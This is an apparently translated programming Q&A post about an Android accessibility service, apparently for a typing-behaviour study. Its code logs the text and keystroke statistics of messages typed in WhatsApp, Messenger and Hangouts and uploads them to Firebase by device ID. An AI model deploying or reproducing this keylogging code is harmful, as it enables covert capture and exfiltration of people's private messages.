当用户通过辅助功能按下主页按钮时,显示警报对话框

时间:2019-11-05 01:31:46

标签: java android keyevent accessibilityservice keylogger

我创建了一个Acessibility服务,以在用户使用特定应用程序(在这种情况下为环聊)时将用户发送的每条消息存储在FireBase中。

我试图在用户按下“主页”按钮时显示一个AlertDialog,要求重定向到我自己的应用程序。为此,我创建了方法onKeyEvent()和方法alertDialog()。

但是当我在环聊应用中并按“主页”按钮时,什么也没发生。

这是课程:

package com.example.appfirebase;

import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.app.AlertDialog;
import android.content.ComponentName;
import android.content.DialogInterface;
import android.content.Intent;
import android.net.Uri;
import android.util.Log;
import android.view.KeyEvent;
import android.view.accessibility.AccessibilityEvent;
import android.provider.Settings.Secure;

import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;

import io.opencensus.internal.StringUtil;

import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.logging.ConsoleHandler;
import java.util.regex.*;

import android.view.KeyEvent;
import android.widget.Toast;

public class MyAccessibilityService extends AccessibilityService {

    DatabaseReference mRootReference;

    String pastText = "", presentText = "";
    int countAlpha = 0, countNonAlpha = 0, countDelete = 0, countChar = 0;
    String presentTime = "", pastTime = "";
    SimpleDateFormat format = new SimpleDateFormat("HH:mm:ss.SSS");
    Date formatedPresentTime, formatedPastTime;
    float timeDif;
    float totalDifTime = 0;
    String presentApp = "", pastApp = "";
    char c;

    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {

        //Conectamos FireBase con nuestro proyecto
        mRootReference = FirebaseDatabase.getInstance().getReference();

        //Obtenemos el ID del dispositivo donde se encuentra instalada la app
        String id = Secure.getString(getBaseContext().getContentResolver(), Secure.ANDROID_ID);

        //Obtenemos el nombre de la app actual
        presentApp = event.getPackageName().toString();
        System.out.println("ACCESSIBILITY SERVICE: PRESENT APP: " + presentApp);
        System.out.println("ACCESSIBILITY SERVICE: PAST APP: " + pastApp);

        //Obtenemos el tipo de evento
        final int eventType = event.getEventType();

        switch (eventType) {

            case AccessibilityEvent.TYPE_VIEW_CLICKED:

                if ((pastApp == "com.google.android.talk") && presentApp != "com.google.android.talk")
                {
                    //pass
                }

                System.out.println("ACCESSIBILITY SERVICE: CLICKED!");

                Map<String, Object> datosUsuario = new HashMap<>();
                datosUsuario.put("id", id);
                datosUsuario.put("Count Characters", countChar);
                datosUsuario.put("Count Deletes", countDelete);
                datosUsuario.put("Count Aplhanumeric", countAlpha);
                datosUsuario.put("Count No-Alphanumeric", countNonAlpha);
                datosUsuario.put("Time between strokes (miliseconds)", totalDifTime);
                datosUsuario.put("Text", presentText);
                datosUsuario.put("Time", presentTime);
                datosUsuario.put("App", pastApp);

                //Enviamos el bloque de datos con un push a Firebase
                mRootReference.child(id).push().setValue(datosUsuario);

                pastText = "";
                presentText = "";
                countAlpha = 0;
                countNonAlpha = 0;
                countDelete = 0;
                countChar = 0;
                presentTime = "";
                pastTime = "";
                totalDifTime = 0;

                break;

            case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:

                presentTime = java.time.LocalTime.now().toString();
                //Calculate the time between each stroke
                /*try {
                    formatedPresentTime = format.parse(presentTime);
                    if (presentTime != "" && pastTime != "") {
                        timeDif = formatedPresentTime.getTime() - formatedPastTime.getTime();
                        totalDifTime = timeDif + totalDifTime;
                    }
                } catch (ParseException e) {
                    e.printStackTrace();
                }*/
                countChar++;
                presentText = event.getText().toString().replace("[", "").replace("]", "");

                //Let's see if the user press "delete" key
                if (pastText.length() > presentText.length()) {
                    System.out.println("ACCESSIBILITY SERVICE Ha entrado en Delete");
                    countDelete++;
                    System.out.println("ACCESSIBILITY SERVICE CountDelete: " + countDelete);
                } else {
                    //If it's not a "delete", let's see if it's an alphanumeric char
                    c = presentText.charAt(presentText.length() - 1);
                    //System.out.println("ACCESSIBILITY SERVICE C: " + c);
                    if (!Character.isLetterOrDigit(c)) {
                        //System.out.println("ACCESSIBILITY SERVICE Ha entrado en NonAlpha");
                        countNonAlpha++;
                        //System.out.println("ACCESSIBILITY SERVICE countNonAlpha: " + countNonAlpha);
                    } else {
                        //System.out.println("ACCESSIBILITY SERVICE Ha entrado en Count Alpha");
                        countAlpha++;
                        //System.out.println("ACCESSIBILITY SERVICE CountAlpha: " + countAlpha);
                    }
                }
                System.out.println("ACCESSIBILITY SERVICE pastText: " + pastText);
                System.out.println("ACCESSIBILITY SERVICE presentText: " + presentText);
                pastText = presentText;
                pastTime = presentTime;
                pastApp = presentApp;

                //print the typed text in the console. Or do anything you want here.

                System.out.println("ACCESSIBILITY SERVICE (char): " + countChar);
                System.out.println("ACCESSIBILITY SERVICE (Delete): " + countDelete);
                System.out.println("ACCESSIBILITY SERVICE (alphanumeric): " + countAlpha);
                System.out.println("ACCESSIBILITY SERVICE (non alphanumeric): " + countNonAlpha);
                System.out.println("ACCESSIBILITY SERVICE (difTime): " + timeDif + " miliseconds");

                break;
        }
    }

    @Override
    public void onInterrupt() {
        alertDialog();
    }

    protected boolean onKeyEvent (KeyEvent event)
    {
        System.out.println("Entramos en onKeyEvent");

        int keyCode = event.getKeyCode();
        if (keyCode == KeyEvent.KEYCODE_MOVE_HOME)
        {
            try {
                Intent lauchIntent = getPackageManager().getLaunchIntentForPackage("com.example.appfirebase");
                startActivity(lauchIntent);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return false;
    }

    @Override
    public void onServiceConnected() {

        //Configure our Accessibility service
        AccessibilityServiceInfo info = getServiceInfo();

        //Set the type of events that this service wants to listen to. Others won't be passed to this service
        info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED | AccessibilityEvent.TYPE_VIEW_CLICKED;

        //Set what applications will use the service. In this case: Whatsapp, FB Messenger and Hangouts
        info.packageNames = new String[]
                {"com.whatsapp", "com.facebook.orca", "com.google.android.talk"};

        //Set the type of feedback your service will provide.
        info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;

        //Minimal period in milliseconds between two accessibility events of the same type are sent to this service.
        info.notificationTimeout = 1;

        info.flags = AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS;

        this.setServiceInfo(info);
    }

    private void alertDialog() {
        AlertDialog.Builder dialog = new AlertDialog.Builder(this);
        dialog.setMessage("Do you want to complete the questionnaire now?");
        dialog.setTitle("Questionnaire Box");
        dialog.setPositiveButton("YES",
                new DialogInterface.OnClickListener() {
                    public void onClick(DialogInterface dialog,
                                        int which) {
                        Toast.makeText(getApplicationContext(), "Great!", Toast.LENGTH_LONG).show();

                        try {
                            Intent lauchIntent = getPackageManager().getLaunchIntentForPackage("com.example.appfirebase");
                            startActivity(lauchIntent);
                        } catch (Exception e) {
                            e.printStackTrace();
                        }

                    }
                });
        dialog.setNegativeButton("CANCEL", new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
                Toast.makeText(getApplicationContext(), "Ohh What a pity :(", Toast.LENGTH_LONG).show();
            }
        });
        AlertDialog alertDialog = dialog.create();
        alertDialog.show();
    }


}

0 个答案:

没有答案